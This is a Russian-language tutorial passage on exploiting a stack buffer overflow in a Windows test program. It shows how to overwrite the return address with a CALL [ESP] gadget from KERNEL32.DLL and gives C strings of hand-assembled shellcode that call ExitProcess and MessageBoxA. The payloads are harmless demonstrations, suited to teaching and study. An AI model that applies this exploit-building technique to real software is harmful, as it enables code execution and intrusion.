Переполнение буфера - Как подобрать строку
ОГЛАВЛЕНИЕ
Как подобрать строку
Первое, что необходимо сделать - разобраться с тем, какой адрес возврата мы укажем. Учитывая то, что наш код будет находиться в строке, которую мы передаём, нам нужно передать управление на какой-нибудь адрес внутри этой строки. Самый простой способ определить этот адрес - загрузить программу в дебагере, посмотреть, по какому адресу будет находиться наша строка во время выполнения программы, и указать в качестве адреса возврата, например, адрес начала строки. Потом мы сможем записать туда необходимый нам код. У этого метода есть, правда, один недостаток. Необходимый нам адрес возврата будет "слишком маленьким", скорее всего меньше чем 0x00ffffff. А это значит, что один из байтов в строке будет нулём, и это нехорошо. Избежать этого можно следующим образом: очевидно, что после выполнения возврата из процедуры, регистр ESP будет указывать на тот "хвост" строки, который остался на стеке. Поэтому, если передать управление по адресу [ESP], то начнёт выполняться программа, записанная в этом "хвосте". Следовательно, нас бы устроила возможность выполнить инструкцию JMP [ESP] или CALL [ESP]. Такая инструкция скорее всего найдётся в одной из динамически загружаемых библиотек (DLL), которые изпользует программа. Так как DLL обычно загружаются на достаточно высокие адреса в памяти, то в качестве адреса возврата мы и укажем адрес одной из этих инструкций в DLL. Выполнение произойдёт тогда следующим образом:
Одна из DLL, которые использует наша программа - KERNEL32.DLL. Попробуем найти в ней инструкцию CALL [ESP] или JMP [ESP]. Этим инструкциям соответствуют последовательности байтов 0xff 0xd4 и 0xff 0xe4. Для поиска можно использовать дебагер вроде SoftICE и просмотреть всё адресное пространство программы в области, где загружена KERNEL32.DLL (эта область начинается с Image Base, указанного в файле DLL). А можно искать просто в файле KERNEL32.DLL. Тогда лучше использовать какой-нибудь специльный HEX-редактор вроде HIEW, который указывает не только смещения байтов в файле, но и адреса, по которым они будут загружены в память. Положим что инструкция CALL [ESP] нашлась по адресу 0xbff794b3 (В общем этот адрес зависит от используемой версии KERNEL32.DLL). Вот это число мы и укажем в качестве адреса возврата, а прямо за ним в строке последует исполняемый код.
Теперь займёмся теми инструкциями, которые мы хотим выполнить. Для начала попробуем написать в качестве исполняемого кода простой вызов ExitProcess, после которого программа должна завершить работу. Смотрим таблицу импортируемых функций программы (с помощью PEBrowse, PEWizard, PEDump или чего-нибудь подобного):
Import Directory from "KERNEL32.DLL":
name table at 0xf03c, address table at 0xf0e0
hint name
---- ----
0 CloseHandle
0 CreateFileA
0 ExitProcess
...
Так как Image Base у нашей программы - 0x400000, то адрес для вызова ExitProcess равен 0x400000 + 0xf0e0 + 8 = 0x40f0e8. Значит используем инструкцию CALL [40f0e8h]. C помощью ассемблера узнаём, что она компилируется в последовательность байтов 0xff 0x15 0xe8 0xf0 0x40 0x00. Значит переписываем функцию main следующим образом:
int main()
{
// часть строки, заполняющая буфер
char mystr[] = "111112222233333444445555566666777778"
"\xb3\x94\xf7\xbf" // адрес возврата
// ----------- код -----------
"\xff\x15\xe8\xf0\x40\x00"; // CALL [KERNEL32.ExitProcess]
show_array(47, mystr);
return 0;
}
Компилируем, запускаем и ничего не происходит. Нет никакого сообщения об ошибке, программа просто завершает работу. Это означает, что переполнение буфера удалось - выполнился наш код.
Обнаружив теперь, что TEST.EXE импортирует и функцию MessageBoxA, адрес для вызова которой - 0x40f198, можно попробовать написать чего-нибудь поинтересней. Например, эта программа будет выдавать окошко с сообщением:
int main()
{
char mystr[] =
"111112222233333444445555566666777778" // часть строки, заполняющая буфер
"\xb3\x94\xf7\xbf" // адрес возврата
// ----------- код ------------ --- адрес инструкции ---
"\x8b\xec" // MOV EBP, ESP // EBP+4
// (сохраним текущее значение ESP
// в EBP для того, чтобы потом
// адресовать память "внутри" этой
// строки. EBP+4 теперь указывает на
// начало этой инструкции (байт "\x8b").
// Cправа отмечены адреса относительно
// EBP)
"\x6a\x20" // PUSH 20h // EBP+6
"\x8d\x45\x35" // LEA EAX, [EBP+35h] // EBP+8
"\x50" // PUSH EAX // EBP+b
"\x8d\x45\x1e" // LEA EAX, [EBP+1eh] // EBP+c
"\x50" // PUSH EAX // EBP+f
"\x6a\x00" // PUSH 0 // EBP+10
"\xff\x15\x98\xf1\x40\x00" // CALL [USER32.MessageBoxA] // EBP+12
// (предыдущие строки вызывают
// MessageBox(0, "To be, or not to be..",
// "Question", MB_ICONQUESTION);
"\xff\x15\xe8\xf0\x40\x00" // CALL [KERNEL32.ExitProcess] // EBP+18
"To be, or not to be...\0" // Строки для передачи MessageBoxA // EBP+1e
"Question\0"; // ---- // EBP+35
show_array(36+53+10, mystr);
return 0;
}